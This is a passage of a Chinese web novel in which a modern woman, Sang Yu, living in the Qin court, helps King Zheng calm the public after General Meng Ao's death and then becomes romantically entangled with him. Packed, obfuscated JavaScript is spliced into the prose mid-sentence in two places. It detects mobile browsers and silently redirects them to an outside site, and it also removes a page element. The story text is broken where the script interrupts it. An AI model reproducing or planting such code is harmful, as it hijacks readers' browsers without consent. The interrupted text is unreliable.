原来他所说的“送别老友”,所指的便是蒙老将军啊。 不久,秦王政一行人从内室缓步走出。桑语无意中瞥见,在走下台阶时,秦王政不慎踏空了一步。 离开蒙府时,老太卜问桑语,“彗星之事,你是如何禀告君上的?” 桑语摇摇头,“我到章台宫时,君上似乎正在宴请魏国的使臣,因此我并未提及彗星之事。”她顿了顿,继而问道:“大人您说,魏国已经知道了蒙老将军去世的消息,待彗星现世之时,六国是否会借此机会大做文章?” “会!”老太卜说得笃定,“阿桑,你回去吧。彗星之事,老夫亲自去禀告君上。” 桑语注意到老太卜没有骑马,于是将自己来时所骑的马匹交给了他。 桑语原本准备走路回去,一辆轺车停在了她面前。吕思远从车窗里探出脑袋,冲她招招手。 车夫放下踏脚用的阶梯,桑语坐进马车里,吕思远问道:“去太卜署,还是送你回家?” 桑语透过车窗看出去,天已将暮,“送我回家去吧。” 吕思远扬声向车夫交代之后,车轮吱吱嘎嘎地滚动了起来。 桑语坐在窗边,看着人来人往,看着黄昏时飞鸟返巢。她不禁悲切地感慨道:“等咸阳城的百姓,大秦的百姓,知道了蒙老将军的死讯,他们会是怎样的心情啊?” 白起之后,秦国诸将之中,蒙骜无疑是最有声望的,也是最具有实力的。 大将的陨落,之于全凭武力决定国力的时代而言,确实是足以动摇人心的一件大事。 吕思远说道:“百姓们如何想,我不知道。但是君上现在,除了悲痛,可能更多的是头痛。” “头痛?”桑语有些不解,“为何?” “有句话说得好,亲者痛仇者快。上将军在世之时,打过好几场痛快的仗,为秦国夺取了不少的城池。如今英雄已逝,六国少了一个如此劲敌,自是额手称庆。但是对于秦国而言,必然是一场腥风血雨。” 吕思远说着,渐渐坐直了身子,“阿桑,你入咸阳也有大半年了,应该早已了然秦国的内部较量吧。” 他这句话不是问句,而是笃定的语气。桑语没有肯定,也没有否定,只是疑惑地问道:“我一直好奇,但是从来没有问过你。你究竟是何官职,怎么从未见你穿过官服?” 吕思远展开双臂,抖了抖衣袖,“如你所见,我是白身。无官无职,轻松自在。” 有那么一刹那,“怎么可能”这四个字儿,桑语差点就说出来了。在她的认知里,吕不韦一生苦心经营,就是为了从政为官,实现自己的人生抱负。这样的人,怎么会任由自己的儿子成为“白身”呢? 不过转念一想,这对父子之间的关系可能并不融洽。适才,她看到吕不韦似乎想要与吕思远说话,甚至脚步都已经迈出了一半,但是吕思远却刻意地扭过头去。 桑语好奇地问道:“吕思远,你有兄弟姊妹吗?” “有啊。” 桑语正暗忖一声“难怪”,却听得吕思远继续道:“玄女山的山民,都是我的兄弟姊妹!” 桑语朝他翻了个白眼,“你,能不能正经一些?” 吕思远连说了几个“好”,端正了脸色,“我是独子,原本有个妹妹,但是还未出生就死掉了。文信侯这个人,满眼只有野心,繁衍子嗣的需求没有那么高。” 他沉默了片刻,仿佛想到什么,冷哼一声后继续说道:“近来咸阳城中的流言,我也听说了,想必文信侯也是知道的。简直是无稽之谈,文信侯是个商人,又不是个傻子。我虽不齿于他,但是不得不承认,他与先王之间,虽是始于交易,但最终成为了生死之交。混淆先王子嗣血脉的事,风险那么大,又是那么缺德,他何必这么做呢?” 虽未明说,但桑语明白他所说的“流言”是什么。从某种意义上来说,吕思远也算是这则流言的受害者。 桑语转了话题,“是我蠢笨,当你阻止我去见秦王时,我本应意识到事出有因。那些魏国使臣既然看见了我,必然会将‘天生异象’与‘蒙老将军之死’联系起来,然后大肆宣扬。” “天生异象?要发生什么事情了?” “太卜令说,不日将有彗星现于东方。我进宫去,原本就是要将此事上禀。不过现在,由太卜令他亲自去禀告给君上了。” 吕思远安慰道:“你不必多想,就算没有你,他们也会在此事上做文章。而且,我拦你,并不是……”他说着说着,停了下来。 桑语等待了片刻,“并不是什么?” “没什么。阿桑,你还想回玄女山吗?” 桑语低下眼,“回或者不回,早已不是我想或者不想的事情了。” 轺车里忽然沉默了,过了好一会儿,车夫的声音传了进来,“桑太卜,到了!” 桑语道了声“多谢”,踏着阶梯走下轺车,衣袖却被吕思远攥在了手心里。 “阿桑,你应该属于玄女山,不应该属于咸阳。” “吕思远,你这话说得我有些糊涂。” 吕思远脸上淡淡一笑,松了手,“我 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突然间,人群中响起了一个声音:“桑语!她是玄女山的桑语!” 随着他的这句话,人群中有不少声音附和,“玄女山桑语?就是那位神仙?” 议论声越来越大,原先的紧张和慌乱已经开始消失了。 鼓声渐歇,城楼之上忽有烟雾腾起。桑语立于其中,恍若隐于云雾间的仙人。又有世外之音荡漾而来,清楚地传入众人的耳中: “蒙公原是天界神仙,因误犯天条,被贬至尘世历经劫难。如今劫数已满,天庭特遣彗星降世,接引蒙公重归仙班。为免凡间生灵惊扰,故遣玄女传谕此事,以安众心。” 男子低沉的声音在虚空中久久不散。 秦王政翻身下马,撩袍一跪,惊得周围人皆是倒吸一口凉气。 桑语也呆住了,她下意识地往后挪了几步。 秦王政双手朝天一抱拳,“蒙将军,您且安心回归仙班,莫再挂念大秦。寡人与大秦的子民们,必荡平六国,以慰将军之英灵。” 桑语悄悄低头看了眼蹲在她身旁的阿九,然后倒了下去。 城楼之下,断断续续地唱起歌来: 岂曰无衣?与子同袍,王于兴师,脩我戈矛…… 一辆黑篷的轺车等在城墙边上,桑语和阿九径直坐进了轺车里。桑语的脸上,此时多了一块面纱。 阿九仍有些几分不高兴,桑语笑着问道:“你还在恼我么?” “阿姊!”阿九有些无奈,又有些埋怨,“你又帮了秦王一回。” 桑语咧着嘴笑了笑说:“你昨天也听到了老太卜的话。我们确实帮助了秦王,但更重要的是,我们这样做是为了大家不会成为被愚弄和利用的工具。” 昨天傍晚,天色已暗,老太卜来到她的小院,开门见山地提出了他的计划,并详细告知了他所推算的彗星降临的确切时间。 桑语听得一愣一愣,她问老太卜:“这样装神弄鬼,真的好吗?” 老太卜反而问道:“世人皆说你是玄女再世,以至于秦王都对玄女山有所忌惮,这难道不是‘装神弄鬼’么?” “这并不一样,我是被动的。我甚至都不知道关于‘玄女再世’的谣言,最先是从谁的嘴里说出来的。但是按照大人您所说的计划,我就变成了主动地去骗人。” “阿桑,你本有机会澄清一切,向世人表明你与玄女毫无关联。然而,你为何选择默默接受这个谣言,未加以辩解?” “太卜大人,你我也算是师徒,我并不想欺瞒于您。玄女山上,多数是不会武功的亡奴。若是秦军打上山来,我并没有太多的胜算。既然天下人都说我是玄女,秦王也因此有所忌惮,那我只能选择成为玄女。” “如今我希望你利用这个身份,是为了将一些阴谋扼杀在襁褓里。阿桑,你应该也不愿意看到百姓成为被愚弄被利用的工具吧。” “可是,我们如果这样做,难道不是也在利用他们吗?” “这并不一样,你是善意的。” 就这样,你一言,我一句,桑语最终还是同意了老太卜提出的计划。 她让阿九去将吕思远找来,阿九询问原因,她只是含糊地说了一句:“录音。” 35. 东门 质子府,公子辰来回踱步了数圈,终于停下来,看向一脸平静的相瑾,“玄女山,不足为惧。这句话,是不是你说的?” 相瑾放下茶,“此话,是我所说。” 公子辰轻蔑地哼了一声,“你现在还敢说这样的话吗?苦心经营了这么久的计划,就这样被桑语四两拨千斤地解决了。” “我的确错估了桑语。” 公子辰坐了下来,“你们楚地的巫术,已经很神奇了。依你所见,桑语她,究竟是人是神?不,她一定是神!若是人,如何能够在空中传音?又如何能够控制云雾?” 尽管他未曾亲眼目睹,但小仆那生动形象的叙述却令他越发好奇不已。 相瑾拨弄着手中的茶杯,慢慢从唇中吐出几个字,“人挡杀人,神挡杀神。” 公子辰闻言,带着些许不屑说道:“杀桑语?有这个想法的人,应该不少吧,但目前桑语还活着不是吗?” “这只能说明他们派出的人手实在太过平庸。而鬼伯的巫术,足以于无声中取人性命。”相瑾的唇畔泛起了一抹意味深长的笑,“公子难道忘记了吗,我们还有一颗极重要的棋子。” 公子辰倾身向前,“你是说……成蟜?” “不!我说的,是嫪毐。” “嫪毐?”公子辰敛袖端坐,“请细说分详。” 相瑾不紧不慢地抿了口茶,“蒙骜一死,秦国的军权,便成为了被争夺之物。各方势力,必定争个头破血流。” “可是,嫪毐是内侍,又不是将军,军权于他而言……”公子辰说着,停顿了一会儿,“我会让人送信给张尤,无论嫪毐试图推举何人,我会暗中给予他协助。” 相瑾抬眼透过窗棂的缝隙向外看去。这么好的阳光,真是浪费,应该好好地下一场雨才是。 夜色渐浓,天地间仿佛都沉浸在一片深邃的墨色之中,送葬的队伍终于返程了。 吕不韦与秦王政骑马走在前面,经过城楼时,吕不韦拉了一下马缰,靠向了秦王政低声说道:“君上是何时有此妙计?” 秦王政道:“昨日。事出紧急,所以没有事先告知仲父。” 吕不韦笑了笑,“君上长大了,完全可以独立做决定了。先前臣还总是有这样那样的担忧,如今看来,臣的确可以放心了。” “寡人尚年轻气盛,未及冠年,行事间难免带有意气用事之嫌。仍需仲父悉心指点,方能不负父王所托之重责。” 吕不韦默而不语,半晌后才说道:“有一事,臣想不明白。” “仲父请说。” “桑语,她为何愿意帮君上?” 秦王政亦是沉默了。他转过头去,目光投向了远处的城楼。那素衣女子已不在城楼之上,但敲鼓起舞的倩影,却已深深烙印在他的心底。 “我也一直不知,她究竟为何愿意如此相信我。” 甚至相信他可以一统六国,可以以战止战。 秦王政问道:“仲父觉得,桑语究竟是人是神?” 吕不韦挑眉,眼底泛起笑,“我儿子的声音,我还是听得出来的。这小子,居然学会了装神弄鬼。” 秦王政略略侧头,看向吕不韦。他直到这时才发现,仲父原来真的已经老了。 在老将军下葬时,他也是这样看着吕不韦的背影,心中五味杂陈。初登王位之时,他似乎总是摆脱不了吕不韦的左右,吕不韦甚至能一言否决他的决策。他不得不坦言,在那段日子里,他内心深处对吕不韦滋生了难以名状的厌恶,甚至期盼着他永远消失。 然而,随着年龄的增长和对国事的深入了解,他逐渐意识到自己竟然在某种程度上依赖着这位仲父。 今日,他心中升起了一个可怕的念头:如果……如果躺在棺椁中的,是吕不韦,他究竟会是什么样的心情呢,会哭,还是会笑? 吕不韦转过头来时,秦王政的目光却急忙闪躲,尽管吕不韦已经有所察觉。他不由得在心底叹了口气。他的两个孩子,一个血脉相连,一个情感所系,似乎都与他心存隔阂,横亘着一道难以越过的深渊。 他还是收拢了心绪,谈及正事,声音也不自觉地严肃了,“郎中令,执掌宫廷戍卫大权,乃重臣要职也。君上任命蒙毅为郎中令,绝对不是一时之念吧。” “蒙氏一族,忠君之心,日月可鉴。蒙氏兄弟二人,与寡人自幼相识,情同手足。寡人定然相信蒙毅可以胜任‘郎中令’一职。” 秦王政说着,再次看向吕不韦,“寡人幼时归秦,是仲父将寡人带至蒙府,让蒙恬蒙毅与寡人一同习武。彼时,仲父所希望见到的,不就是今日吗?蒙氏兄弟,都能为寡人安心所用。” 吕不韦道,“君上觉得,蒙武是否有其父之威勇?” 秦王政知道他是在问军权的归属。 “秦军中的将领,皆是威勇之人。眼下暂无战事,就让他们好好休息休息罢。” 吕不韦朗声笑了,“君上所言在理,不急,不急。” 约莫亥时时分,已是夜深人静,咸阳城内的住坊里看不到一处灯火。 桑语正处在半梦半醒之间,耳边突然听到有人在呼唤她的名字,原以为是梦,但是这声音太过于真实,她还是睁开眼来,惊讶地发现秦王政正站在她的床边。 月光从他的身后照来,将他的身影映衬得愈加挺拔修长。 “君上?”桑语坐起身,压着声音轻唤了一声。 秦王政往前迈了一步,蓦然俯身抱住了她。桑语身子微微一震,短暂的失神之后,她试图将他推开。 “阿桑,不要推开我……” 就在桑语纠结之际,他抱着她一个翻身,她就这么压在了他的身上。她能清楚地听到他的心跳的声音,一张脸骤然发烫,她挣扎着要起,围在她腰上的手臂却是渐渐收紧。 “别乱动。”他的声音似乎有点发颤 桑语真真切切感受到了他的变化。她一动不敢动,身子僵得跟木乃伊似的。 他又开口了,“阿桑,今日之事,我要谢谢你。” “你不必谢我,我是看在太卜令的面子上才同意的,你要谢,就去谢太卜令吧。” 他从喉中滚出一声笑,抬手抚过她的头发,娓娓地说着: “我还未见到你时,你的大名就频繁出现在了我的耳畔。雍城的官吏们,隔上几天,就会上书请求我派兵攻打玄女山。那时候啊,你就是我的心腹大患,让我深感不安。” “众多的声音向我施压,我也的确想过让蒙骜带兵去剿灭你。但李斯劝住我了,他向我讲述了关于玄女山的故事。我突然对你很好奇,究竟是何种人物,竟然会选择保护亡奴?玄女山的任何风吹草动,次日都会化作简牍,出现在我的案头。有时候,我甚至会想象你究竟是何模样。” “因你名望甚著,始终是我心头的一根刺。所以我才会以借兵为由,将你请入咸阳。初见你时,你一袭红衣,手拎一柄长剑。我惊讶地发现,你竟与我想象中的模样一般无二。我承认,我对你一直有杀心。但你那日问我,盘古身化万物,是否值得?我突然就改变了主意,我不想杀你了,我想要你。” 桑语听到了他的心跳,也听到了自己的心跳。她的与他的,交织在一起,最终随着时间的流逝而愈发同步。 慢慢地,她闭上了眼睛,彷徨与犹豫逐渐烟消云散。她伸出手,同样地抱住了他。 她也不知道是从哪一天开始,她好像忘却了他的身份,忘记了他是历史书上的名字。他是真实地存在的,是和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男人的手指拨开了她的发丝,吻在她耳朵上。他叹了口气,说道:“阿桑,你是明白的,君王也有很多身不由己。你是天上的鹰,我不能因为一己之私,将你困于四方天地之中。但如果你想要一个名分,我可以……” “别说了!”桑语打断他的话,“我困了,想要睡觉了。君上,您请自便吧。” 然后她闭上眼睛,这次真的睡熟了。只是在睡梦中,她的眉头一直紧蹙着。 桑语从梦中醒来,窗外已是红日高悬,朝阳的光芒洒满了整个房间。她的身边已经没人,只有一方折叠得整整齐齐的帕子静静地放在枕边,帕子上还摆放着一簇清新的紫色野花。 她将那簇野花摆放在梳妆盒中,随后缓缓展开帕子。帕子上的文字跃然眼前:“出其东门,有女如云。虽则如云,匪我思存。缟衣綦巾,聊乐我员。” 就在这时,门轴的轻微响动打破了室内的宁静,桑语立刻将帕子匆匆藏入衣袖之中。 推门而入的是阿九,她的脸上写满了急切。 桑语见状,内心不禁涌起一股不安,急忙问道:“怎么了?玄女山是不是发生了什么事?” 阿九迅速回答道,“阿五来信,说我们的暗探发现了一个奇怪之人。” 闻言,桑语的脸色瞬间僵住,表情变得极为不自然。她的目光落在梳妆盒里的紫花上,嘴唇微微动了动,终于还是问道:“那人在哪儿?” “楚国,沛地。” “沛地?” 桑语隐隐约约觉得这名字有些熟悉,可到底在哪儿听过,一时间却想不起来了。 “我交代的那两句话,那人是否说出了下句?” “阿五说,那人只说出了一句‘一百八一杯’。” 有这么一句就已经足够了。桑语抬手摸了摸自己心脏的位置,终于可以回到现代了,为什么她好像并没有预期中的开心呢? 梳洗换衣后,桑语步出小院,但突然之间,她的脚步一滞。 她终于想起了为何“沛地”二字听起来如此耳熟——在千百年后的未来,人们更加习惯称呼它为“沛县”。 36. 山洞 桑语往太卜署去的路上,被一个年轻女子拦住了去路。她往左,她就往左;她往右,她就往右。 桑语有些不耐烦,“你找我有什么事吗?” 女子把右手伸到她面前摊开,手心里是一只珍珠耳饰。 桑语见到这耳饰,也就想起来这个女子是谁了。她说道:“原来是你啊,那位老翁,你将他送回去了吗?” “已经落葬,桑山主不必挂念了。” “既然你知道我是谁,应该知道眼下这个时候,我是要去太卜署点卯的。你这样拦着我的路,是不是不大好?” 竺月拉着她走到一处无人的巷子,压着着嗓子道:“我知道那人的姘头是谁。” 桑语听了这话,深深地看了眼竺月,道:“我不知道你所说的究竟是谁,而且我也并不关心。再说了,男盗女娼的事情,归你们秦国的官府管,与我何干?” 见桑语态度如此冷淡,竺月心里凉透了。但她还想最后试一试。 “大头叔已经死了,可是他的家人们还活着。在那人的权势之下,他们不仅无处申冤,还要活在被报复的恐惧之中。大头叔一家,实在是太可怜了!”说着,说着,就哭起来了。 桑语最怕人哭,只能和哄孩子似的拍拍她的后背,“好了,好了,你别哭了!你说说吧,你到底为何来找我?” 竺月用袖子擦掉眼泪,“我听说,玄女山的山主是救苦救难的好人。我……我实在是无路可走,所以来求你救救我。” “救救你?你究竟遇上什么难事了。” 竺月突然双腿一屈,“扑”地跪了下去。桑语连忙伸手扶她:“姑娘,你这是干什么?有难处,你就直说。我能帮你的,一定帮你。” 竺月并不起身,仰起脸来看着桑语,“我阿兄要娶妻,但是家里穷,没有纳彩的礼。我昨天偷偷听到,我阿翁阿母,他们,他们想要将我卖掉。”说着,磕头在地,“山主,求您救救我!” 桑语有些不知如何开口,毕竟这是家事。见她有所迟疑,竺月举起手,对天发誓,“我并非是浑说,我真的知道嫪毐的姘头是谁。” 桑语连忙捂住她的嘴,往四周看了看,好在并未发现什么可疑之人。 “你这孩子,点名道姓地说这个人的名字,你不要命啦?” 竺月拽住她的衣袖,一对大眼中泪水盈盈,“我知道,如果让他知道是我告的密,他一定会让人杀了我。整个咸阳,不,整个大秦,谁人不知他背后是何人。” “姑娘,既然你明白这个道理,你带着这个秘密来投奔我,就不怕真的会死得不明不白?” 竺月坚定地摇摇头,“与其被卖给我不认识的男人,我宁愿为自己赌一把。我虽未读过书,也不识字,但是自幼都有人夸我聪明。我知道这个秘密对谁而言是最有用的,我也相信山主您会救我一命。” “好,我答应你,我会帮你。”桑语托着她的胳膊,扶她站起身,“但是,你必须记清楚一件事儿。此事,你与我说起了,今后,不得向任何人提起。不然的话,我不一定保得住你的小命。” “诺!我全听您的!您往我往东,我绝不往西。” 桑语看着小姑娘的笑脸,无奈地摇摇头,“走吧!你先随我回去!” 竺月紧跟在桑语身后,绝不落大于一步的距离。正巧,桑语遇见了拎着菜篮子上街的阿九,阿九见了桑语,有些惊讶地问道:“阿姊怎么还未去点卯?” 桑语指了指身后,刚想说话,却是扭头问道:“你叫什么名字?” “竺月,我叫竺月。” 竺月不知如何介绍自己的名字,遂捡了一根树枝,在道路边的泥地里写下了自己的名字。 桑语将“竺月”二字念了一遍,以示自己知道了。她看向阿九,交代道:“你回去取些银钱,送到竺月家去。就说我看上这个姑娘了,想要买她做婢女。不必说起我的身份,要是竺月父母非要问个明白,就说主人家姓吕,旁的不必多说了。” 阿九虽不知前因后果,但还是点头说了声“好”。 桑语仰头看了看太阳的位置,“都耽搁这么久了,我该走了。阿九,她就交给你了,你将她带回小院去吧,让她和迟迟住一屋。” 她说完,风风火火地就走了。 竺月跟在阿九身后,殷勤地想要接过竹篮。阿九却是将竹篮藏到身后,“不必了,我自己能拿。” 竺月在心里酝酿了许久,终于开口问道:“这位贵人,我应该如何称呼您呢?” 阿九的隔壁上挂着满当当的竹篮,正往回小院的路上走。她听见竺月如此问,尽量笑得柔和一些,回答道:“我们玄女山,但凡是年龄相仿的,皆是平辈论交,如姊妹朋友一般。没有什么特殊的称谓。竺月,你且记住了,以后见了阿姊,莫要称呼她为‘山主’,与我们一般,称呼一声‘阿姊’就可以了。” “至于我嘛,我名唤阿九。我看你的年龄似乎比我小,不如就唤我一声‘九姊’吧。” “好!九姊。” 天上的云彩,随着阳光变幻着颜色。晚霞红得犹如燃烧的火焰一般,桑语走出太卜署,意外地看到了一抹熟悉的身影。 只是他今日并未身着黑衣,而是一袭白衣,头发用玉冠束着。虽然他的面上带着半面面具,但是桑语还是一眼就认出来了他。 桑语定睛看了她好一会儿,扭头走向另一边。刚走出几步,身后有马蹄声响。她并未回头去看,秦王政已经从马上跃了下来,一把拽住她的胳膊。 “随我去个地方!” 桑语还没来得及拒绝,眼前的视线被一片紫棠色所遮挡。她整个人,都被秦王政用大衣兜头包裹住了。 秦王政先把她抱上马,然后自己翻身上马。“抱歉,阿桑,先委屈你了。” 桑语看不见周围的一切,只能把身子靠在他的怀里,双手攥着马颈上的鬃毛。 “重见天日”时,她这才发现她们正站在一处院落的门前。这院落有些熟悉,里面应该还有她的被褥。 桑语抬起头,看着院门上挂着的木匾。上面的字,似乎刚写上去不久。 此地的名字有些生僻,桑语认了好一会儿,才认出是什么字来。她十分好奇,兴致勃勃地问:“为何叫作‘鄘院’?” 秦王政看着她的眼睛,回答说:“《诗经》中的《鄘风》,有一首是这么写的:‘期我乎桑中,要我乎上宫,送我乎淇之上矣’。” 他眼神直白而坦荡,桑语别过眼去,耳根都有些泛红了。她轻嗔了一句“没脸没皮”,便推开门走了进去。 秦王政所说的那句诗,意思是说,“她和我在桑树林中约会,约我在上宫相聚,事后送我来到了淇水旁”。 如此具有野性的一句诗,被他如此坦坦荡荡地念了出来,反倒是惹得桑语耳红不已。 院中很安静,没有见到奴仆,但并不像是没有人打扫的模样。桑语扭头想问秦王政,“君”字还未说完,他却俯下身子,歪着头轻轻地在她的唇上啄了一下。 “你……”桑语面色绯红,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234796|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手捂住嘴唇。 秦王政靠着树干,抱胸看着她,眼底有浅浅的笑意,“阿桑,你刚刚叫我什么?” 桑语莫名其妙,“君上……” 他的唇又压在了她的唇上,这回不同于刚刚的浅啄,他扶住她的后脑勺,慢慢加深了这个吻。 他们的身后,是一株桃树,桃花都谢了,长着层层密密的树叶。一阵风吹过,卷起一片桃叶,不偏不倚地落在了桑语的左眼上。 她回过神来,蓦地推开他,自己却因为腿软,往后倒坐在了地上。 秦王政向她伸出手,却被她无视了。 她自己站了起来,秦王政却一把搂住她的腰,俯身下去,作势要吻她,吓得桑语伸手捂住他的嘴,“嬴政,你是不是受什么刺激了?” 秦王政拉开她的手,吻在她的手背上,“阿桑,记住了,以后就这样称呼我!” 他将她的手攥在手心,牵着她缓缓走入一间屋内。现在已是夕阳西下,屋内光线不好,有点暗淡,秦王政从角落里拿起一盏宫灯,将它点燃后,搁在了案上。 他在书架上抽出一卷竹简,书架自动移开了,现出一个暗道。 “阿桑,”秦王政已经走入暗道,他转身看向桑语,“不要怕,跟我来。” 暗道里很黑,火把光亮有限,只能照清脚下的路。秦王政向她伸出手,示意她可以将手交给他。 桑语想了想,抬手握住了他的袍袖。 暗道的出口,在城外的一片密林之中。 已经有人牵着马在林中等候了。秦王政牵过一匹马,交给桑语,“此马名为晨凫,脚力快,性格颇为温顺。” 桑语接过缰绳,摸了摸马的鬃毛,它依旧只是安静地嚼着青草。 二人先后翻身上马,秦王政策马在前引路。 两匹马渐渐走入了山路,夜晚的山林很沉寂,马蹄声显得格外清晰。他们最终在一处山洞前停住了。 桑语下了马,亦步亦趋地跟在秦王政的身后,径直走入山洞之中。越往里走,桑语才发现,山洞里大有乾坤,原本只容纳几人的山洞,竟是越走越宽阔,路的尽头是别有洞天。 洞府之中,各种各样的兵器陈列得整整齐齐,还有数千精壮的汉子。 桑语不可置信地看了眼秦王政。 他居然在私自练兵。不对,他就是秦国的王,所以准确来说,是他拥有了一支不为人知的军队,绝对臣服于他的军队。 秦王政伸出一只手,按在桑语的肩膀上。 “阿桑,帮我。” 桑语明白这话的意思,她摇了摇头,冷冷地看向他的眼底,“所以,你这两日里的异常,就是准备利用我?” 秦王政见她生气,知她误会了,连忙解释道:“我绝不是在利用你,而是我相信你。” “你先别解释,你是想让玄女山成为你的私兵吗?嬴政,我告诉你,你休想。” 秦王政握住她的手,“我并非如此想,我只是希望你能够帮我练兵。王贲尚在你之下,若是他们能得你指点,是极佳的机会。” 桑语踩在壁石之上,俯视着正在练武的汉子们。她忽然有些可怜起秦王政来了,他如今也不过是二十岁,在现代,还是清澈愚蠢的大学生的年龄,却要和一群老狐狸周旋。 看这些汉子们的招式,应该已经秘密训练了许久吧。 “阿桑,你若是不愿,我不会强求于你。” “君上,”桑语抬眼看他,“过一阵,我就要离开咸阳,离开秦国了。” 37. 嬴嫒 骊山行宫坐落于山间幽境之中,建筑宏伟精美,四周有宫墙围绕。园中则有水榭歌台、九曲回廊,芳菲已经落了大半,但牡丹花圃中却是另一番景象。正是牡丹盛开之时,花圃中一片姹紫嫣红。 不同于气氛庄严的咸阳宫城,骊山行宫多了几分娴静温婉。这苍翠的青山,仿佛让人可以好好喘口气。 然而,桑语身处其中,却是一宿没有合眼。 昨日她说了自己要离开秦国之后,嬴政只是直直地看着她。那双眸中流露出的被遗弃的苦楚,让她的心莫名地揪痛起来。她想要重新抓住他的手,而他独自拂袖离开了。 她凝视着那个身影越走越远,却终究没有追上去。她在原地呆了半晌,直到一个陌生男子出现在她身旁,唤了她好几声,才回过神来。 那名陌生男子将她护送至骊山行宫,说是城门已经关闭,让她在此处暂时休息一宿。桑语想问他,嬴政是否也在此处,但话到嘴边,还是没问出来。 桑语翻了个身,这时听到有人敲门,她迅速起身小跑着去开门。然而,眼前所见并非她预想中的人,而是一位身着绿色胡服的女子。 女子看到她,显然很是惊讶,“你?你就是桑语?” 桑语认出了眼前的女子,笑了笑,说道:“你我之间,似乎真是有些缘分啊。不知女公子该如何称呼?” 女子闻言,面上掠过一抹愠色,“你这个人太过分了!你明明可以自己打跑那几个小贼,却为何非要等着我出手?害得我沾沾自喜,以为自己做了件见义勇为的好事。告诉我,你是不是在背地里嘲笑我?” 桑语将门敞开,“女公子,请进来说话吧!” 嬴嫒大步走进屋内,“啪”地一下将剑拍在案上,自己在锦垫上坐了下来。她用一根手指头点了点青铜宝剑的剑柄,“桑语,倘若你肯与我切磋一番,以往之事,我就不计较了。” 桑语在她对面坐下,“你为何要和我比试?” “你是名动中原的玄女山山主,必然比我厉害多了。但是,你也休要小瞧于我。我嬴嫒与人比武数百回,除了王兄,我就没输过一回。” 嬴嫒说着,脸上挂着小骄傲的神色。 桑语捕捉到她话语中的“王兄”二字,心中顿时明了她的身份。原以为她是替父从军的“花木兰”,没想到还是位身份尊贵的公主。在这样的时代里,无疑更加令人钦佩。 桑语笑着寻理由搪塞:“公主,我今日没有带剑,不如改日再说吧。” 话音刚落,嬴嫒一言不发地起身离去,桑语以为自己惹恼了这位公主,正打算去关门,嬴嫒又抱着一柄青铜剑返回,径直将剑递到桑语面前,“你休要找理由了,来吧,我们比试比试。” 桑语从她手中接过剑,略作犹豫,轻声问道:“公主,我能否选择拒绝?” “不可以!”嬴嫒说得斩钉截铁,“我早就想与你一较高下,怎奈王兄百般阻挠。如今我好不容易寻得了机会,岂能轻易放过你?” 面对这位执拗无比的公主,桑语也只能无奈地苦笑,“行,既然你想要比试,那就比吧!不过事先可得说好了,愿比服输。” 嬴嫒瞪着桑语道,“你休要看不起我!你且放心,我嬴嫒绝不是那种仗势欺人的小人。” “好!”桑语轻巧地将长剑从左手抛到右手,“公主,请赐教。” 经过几个回合的交锋,桑语感受到嬴嫒剑法的凌厉与精准,决定不再保留,以迅速果断的方式结束了比试,最终一剑定胜负。 不知是疲惫还是气愤,嬴嫒的脸颊泛起了芍药般的红晕。她拾起剑,推剑入鞘,昂着脑袋道:“桑山主,感谢你没有故意相让。” 桑语亦是将剑收回了剑鞘之中,双手递还于她,“公主误会了,你并不需要我让招。” 嬴嫒抱着两柄剑,“我回去换身衣裳,等会再来找你。”说罢,便匆匆地离开了。 桑语望着她离去的方向,心中不禁暗自思量,这位公主在“自来熟”这一点上,与吕思远那小子倒真是相似啊。 嬴嫒离去之后,桑语彻底没有了睡意。她静静地坐在廊下,目光空洞地凝视着天边那片浮云。五月的咸阳,不冷不热,但她却觉得闷得透不过气来。 在这个院落的西北角,矗立着一株盛开的合欢树。灼灼鲜艳的一树花,倒是衬得远山绿意层叠。恍惚之中,如处春日花丛中。 嬴政走进来时,看到的便是桑语侧卧在合欢树下的软席上。美人美景,真可谓相得益彰。 桑语听见脚步声响,扯出一方帕子挡在脸上。 嬴政的眉眼间溢出浅浅的笑意,他在她的身边坐下,看着微风缓缓掀起帕子的一角。 “阿桑,你想去看造俑吗?” 造俑?兵马俑? 桑语惊喜地差点跳起来,但理性很快就冒出来阻止了她的动作。她现在可是在生气啊!他昨日那样将她丢在山洞里,岂是轻易便能翻篇的? 嬴政见她似乎并不为所动,意识到她仍旧在生闷气,遂极其认真地道: “你来到我身边之后,我才发现我原来是个怯懦之人。我常常想着,只要你流露出一丝心悦之意,我定会毫不犹豫地向你坦露心迹。那日,你赠我以寿面,我几乎要按捺不住我的冲动。然而,我害怕你的拒绝。直到魏姬入宫,我才恍然意识到,我无法再自欺欺人了。” “阿桑,我希望你永远在我身边。但若是你不愿意,我也会尊重你的选择。我之所以说出这些话,只是希望你能明白,你在我心中的位置,是任何人都无法取代的。” 桑语静静地听着,未曾言语。透过那层薄薄的帕子,她分明能感受到他逐渐靠近的气息。紧接着,唇上蓦然传来温软的触感。 她轻轻抬手,缓缓地抽离了帕子…… 情意正浓时,一道清脆的声音骤然响起,“王兄……你……你们……” 二人停下了这个吻,侧头看去。 嬴嫒不知何时来了,正满脸震惊地盯着他们。而在她的身后,还站着一个身着靛蓝衣衫的男子。 桑语猛地推开嬴政,匆匆站起身。她看着嬴嫒,红着脸结结巴巴地解释道:“不是,公主你……” 嬴嫒噗嗤地笑了起来,打断了桑语的解释:“王兄,这个嫂嫂,我还是挺满意的。不过嘛,我看桑山主对你,似乎没有那么满意呢。”她说着,用胳膊肘戳了戳身后的男子,“甘罗,你怎么看?” 甘罗淡淡地笑着道:“君上能有位知心之人,是件好事。” 桑语忍不住多看了甘罗两眼。 